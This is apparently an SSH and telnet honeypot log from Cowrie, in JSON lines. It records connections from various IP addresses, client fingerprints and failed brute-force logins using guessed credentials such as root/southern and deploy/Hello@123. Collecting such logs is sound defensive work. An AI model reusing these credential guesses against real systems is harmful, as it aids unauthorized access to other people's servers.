{"eventid":"cowrie.session.connect","src_ip":"101.47.159.50","src_port":51156,"dst_ip":"10.17.0.5","dst_port":22,"session":"f4e465423edd","protocol":"ssh","message":"New connection: 101.47.159.50:51156 (10.17.0.5:22) [session: f4e465423edd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:34:29.291420Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:34:29.295393Z","src_ip":"101.47.159.50","session":"f4e465423edd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:34:29.542255Z","src_ip":"101.47.159.50","session":"f4e465423edd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"Hello@123","message":"login attempt [deploy/Hello@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:34:30.564420Z","src_ip":"101.47.159.50","session":"f4e465423edd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:34:31.815835Z","src_ip":"101.47.159.50","session":"f4e465423edd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":47012,"dst_ip":"10.17.0.5","dst_port":22,"session":"ff6d0245c653","protocol":"ssh","message":"New connection: 91.92.40.4:47012 (10.17.0.5:22) [session: ff6d0245c653]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:34:34.030673Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:34:34.034812Z","src_ip":"91.92.40.4","session":"ff6d0245c653","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:34:34.115156Z","src_ip":"91.92.40.4","session":"ff6d0245c653","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test123","message":"login attempt [test/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:34:34.359389Z","src_ip":"91.92.40.4","session":"ff6d0245c653","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":36686,"dst_ip":"10.17.0.5","dst_port":22,"session":"753f4b34754c","protocol":"ssh","message":"New connection: 103.149.28.157:36686 (10.17.0.5:22) [session: 753f4b34754c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:34:35.048603Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:34:35.052215Z","src_ip":"103.149.28.157","session":"753f4b34754c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:34:35.298794Z","src_ip":"103.149.28.157","session":"753f4b34754c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:34:35.441266Z","src_ip":"91.92.40.4","session":"ff6d0245c653","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"southern","message":"login attempt [root/southern] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:34:36.044034Z","src_ip":"103.149.28.157","session":"753f4b34754c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:34:37.292794Z","src_ip":"103.149.28.157","session":"753f4b34754c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.187.165.26","src_port":43514,"dst_ip":"10.17.0.5","dst_port":22,"session":"35c02fd6f55c","protocol":"ssh","message":"New connection: 103.187.165.26:43514 (10.17.0.5:22) [session: 35c02fd6f55c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:34:41.217576Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:34:41.221375Z","src_ip":"103.187.165.26","session":"35c02fd6f55c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:34:41.462810Z","src_ip":"103.187.165.26","session":"35c02fd6f55c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"inter","message":"login attempt [root/inter] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:34:42.462830Z","src_ip":"103.187.165.26","session":"35c02fd6f55c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:34:43.707502Z","src_ip":"103.187.165.26","session":"35c02fd6f55c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.129.208","src_port":56686,"dst_ip":"159.203.135.109","dst_port":22,"session":"2d3bb1c81099","protocol":"ssh","message":"New connection: 162.241.129.208:56686 (159.203.135.109:22) [session: 2d3bb1c81099]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:34:51.195599Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:34:51.199650Z","src_ip":"162.241.129.208","session":"2d3bb1c81099","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:34:51.227049Z","src_ip":"162.241.129.208","session":"2d3bb1c81099","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"strk123","message":"login attempt [root/strk123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:34:51.315144Z","src_ip":"162.241.129.208","session":"2d3bb1c81099","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:34:52.345701Z","src_ip":"162.241.129.208","session":"2d3bb1c81099","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":53360,"dst_ip":"10.17.0.5","dst_port":22,"session":"5e14b8fa69f4","protocol":"ssh","message":"New connection: 8.210.75.243:53360 (10.17.0.5:22) [session: 5e14b8fa69f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:34:57.617724Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:34:57.624100Z","src_ip":"8.210.75.243","session":"5e14b8fa69f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:35:10.332382Z","src_ip":"8.210.75.243","session":"190eaf15f955","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:35:17.414093Z","src_ip":"8.210.75.243","session":"5e14b8fa69f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":41820,"dst_ip":"159.203.135.109","dst_port":22,"session":"d428e0ca3944","protocol":"ssh","message":"New connection: 103.82.132.16:41820 (159.203.135.109:22) [session: d428e0ca3944]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:35:22.692906Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:35:22.697581Z","src_ip":"103.82.132.16","session":"d428e0ca3944","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:35:22.952323Z","src_ip":"103.82.132.16","session":"d428e0ca3944","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"19011980","message":"login attempt [root/19011980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:35:23.716628Z","src_ip":"103.82.132.16","session":"d428e0ca3944","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:35:24.974349Z","src_ip":"103.82.132.16","session":"d428e0ca3944","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0046763420105,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:35:30.765027Z","src_ip":"94.23.66.112","session":"8c3eec9cf557","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":37234,"dst_ip":"10.17.0.5","dst_port":22,"session":"206b5568817b","protocol":"ssh","message":"New connection: 8.210.75.243:37234 (10.17.0.5:22) [session: 206b5568817b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:35:44.722855Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:35:44.727015Z","src_ip":"8.210.75.243","session":"206b5568817b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":33364,"dst_ip":"159.203.135.109","dst_port":23,"session":"a8e5b4ae8d7a","protocol":"telnet","message":"New connection: 170.64.224.25:33364 (159.203.135.109:23) [session: a8e5b4ae8d7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:35:44.976408Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.34.123","src_port":41972,"dst_ip":"159.203.135.109","dst_port":22,"session":"8b94cb775d72","protocol":"ssh","message":"New connection: 162.144.34.123:41972 (159.203.135.109:22) [session: 8b94cb775d72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:35:53.500228Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:35:53.503787Z","src_ip":"162.144.34.123","session":"8b94cb775d72","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:35:53.585517Z","src_ip":"162.144.34.123","session":"8b94cb775d72","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bluzelle456","message":"login attempt [root/bluzelle456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:35:53.833079Z","src_ip":"162.144.34.123","session":"8b94cb775d72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00364828109741,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:35:53.837131Z","src_ip":"170.64.224.25","session":"5869b937184b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":49330,"dst_ip":"10.17.0.5","dst_port":22,"session":"b1588ad6a1f0","protocol":"ssh","message":"New connection: 8.210.75.243:49330 (10.17.0.5:22) [session: b1588ad6a1f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:35:55.364795Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:35:55.368715Z","src_ip":"8.210.75.243","session":"b1588ad6a1f0","protocol":"ssh"}
